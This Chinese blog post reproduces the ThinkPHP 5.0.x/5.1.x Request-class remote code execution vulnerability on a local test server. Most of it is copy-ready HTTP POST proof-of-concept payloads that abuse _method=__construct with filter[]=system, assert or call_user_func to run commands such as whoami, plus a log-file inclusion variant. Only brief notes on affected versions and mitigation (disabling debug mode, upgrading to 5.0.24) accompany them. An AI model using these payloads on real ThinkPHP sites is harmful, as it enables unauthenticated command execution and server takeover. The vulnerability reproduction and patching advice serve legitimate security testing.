ThinkPHP5 核心类 Request 远程代码漏洞复现+Poc
ThinkPHP5 核心类 Request 远程代码漏洞复现+Poc
漏洞介绍
2019年1月11日,ThinkPHP团队发布了一个补丁更新,修复了一处由于不安全的动态函数调用导致的远程代码执行漏洞。
ThinkPHP官方发布新版本5.0.24,在1月14日和15日又接连发布两个更新,这三次更新都修复了一个安全问题,该问题可能导致远程代码执行 ,这是ThinkPHP近期的第二个高危漏洞,两个漏洞均是无需登录即可远程触发,危害极大。
之前写过一篇文章《ThinkPHP-5-代码执行漏洞复现-POC》里面有提过一次,这篇文章主要对其不同版本下进行详细的复现。
影响版本
启明星辰ADLab安全研究员对ThinkPHP的多个版本进行源码分析和验证后,确认具体受影响的版本为ThinkPHP5.0-5.0.23完整版。
漏洞复现
本地环境采用ThinkPHP 5.0.10和5.0.22完整版+PHP7.0.9+Apache2.4.39进行复现。安装环境后执行POC即可执行系统命令
版本 5.0.0-5.0.12
Payload:
POST /public/index.php?s=index/index/index HTTP/1.1
Host: 192.168.1.236
Content-Length: 48
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
s=whoami&_method=__construct&filter[]=system
POC执行结果如下图:
版本 5.0.12-5.0.23
在5.0.12之后的版本中,在thinkphp/library/think/App.php的module
方法中增加了设置filter过滤属性的代码
开启debug调试模式,打开配置文件config.php
修改为
Payload 1
POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
POC执行结果如下图:
Payload 2
POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close
_method=__construct&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202007/08.log&x=phpinfo();
POC执行结果如下图:
Payload 3
POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close
_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo()
POC执行结果如下图:
Payload 4
POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close
_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
POC执行结果如下图:
版本 5.1.10(PHP7.3.4+Apache2.4.39)
5.1和5.2两个版本现在用的很少,并且针对于这两个版本有点鸡肋,需要index.php文件中跳过报错提示。 语句:error_reporting(0);
需设置 error_reporting(0);
Payload:
POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close
c=system&f=whoami&_method=filter
一开始执行结果如下图:
找到RuleGroup.php 新增一行代码error_reporting(0);跳过报错
然后查看结果
漏洞防御
-
线上环境建议关闭debug模式
-
升级到ThinkPHP 5.0.24
-
手动增加过滤,在
thinkphp/library/think/Request.php
添加如下代码:
参考链接
ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析
ThinkPHP5 核心类 Request 远程代码漏洞分析
ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞
原文地址:https://www.cnblogs.com/liliyuanshangcao/p/13285095.html
- 移动设备HTML5页面布局
- Foundation:高级的响应式前端框架
- [信息安全] 2.密码工具箱(续)
- 脑科学发展的助推器
- BFIThumb:WordPress 中替代TimThumb 进行裁图的选择
- jquery 操作ajax 相关方法
- SQL SERVER 2008 Hierarchyid数据类型
- Html5 学习利器 Web Standards Update for Microsoft Visual Studio 2010 SP1
- MongoDB 客户端 MongoVue
- HttpClient介绍
- 10个使用 Foundation 框架开发的WordPress 主题推荐
- jQuery 效果使用
- 几款更换WordPress 后台UI 的插件推荐
- 入门:构建简单的Web API
- php概述
- php教程
- php环境搭建
- PHP书写格式
- php变量
- php常量
- PHP注释
- php数组
- php字符串 string
- PHP整型 integer
- PHP浮点型 float
- php布尔型
- php数据类型之数组
- php数据类型之对象
- php数据类型之null
- php数据类型之间的转换
- php运算符
- php表达式
- PHP循环控制
- PHP流程控制
- php函数
- php全局变量
- PHP魔术变量
- php命名空间
- php 日期
- PHP包含文件
- php文件
- PHP 文件上传
- php Cookies
- php Sessions
- php email
- php安全email
- php错误处理
- PHP异常处理
- php过滤器
- PHP 高级过滤器
- php json
- php 表单
- PHP MySQL 简介
- PHP 连接 MySQL
- php创建数据库
- php 创建表
- php mysq 插入数据
- PHP MySQL 插入多条数据
- PHP MySQL 预处理语句
- php mysql 读取数据
- php mysql where
- PHP MySQL Order By
- PHP MySQL Update
- PHP MySQL Delete
- php ODBC
- redis实战第五篇 jedis 连接 redis sentinel详解
- redis实战第四篇 手动容灾故障转移记录
- 10条很棒的Python一行代码
- 如何在一个Docker中同时运行多个程序进程?
- 如何在CentOS / RHEL 7上启用IPv6
- Golang中的RegExp正则表达式用法指南
- Golang glog使用详解
- kubernetes使用securityContext和sysctl
- 浅谈分词算法基于字的分词方法(HMM)
- 优雅的重启服务
- Go defer 会有性能损耗,尽量不要用?
- 带入gRPC:分布式链路追踪 gRPC + Opentracing + Zipkin
- 聊聊Golang逃逸分析
- 结构型设计模式:适配器模式和门面模式
- 结构型设计模式:代理模式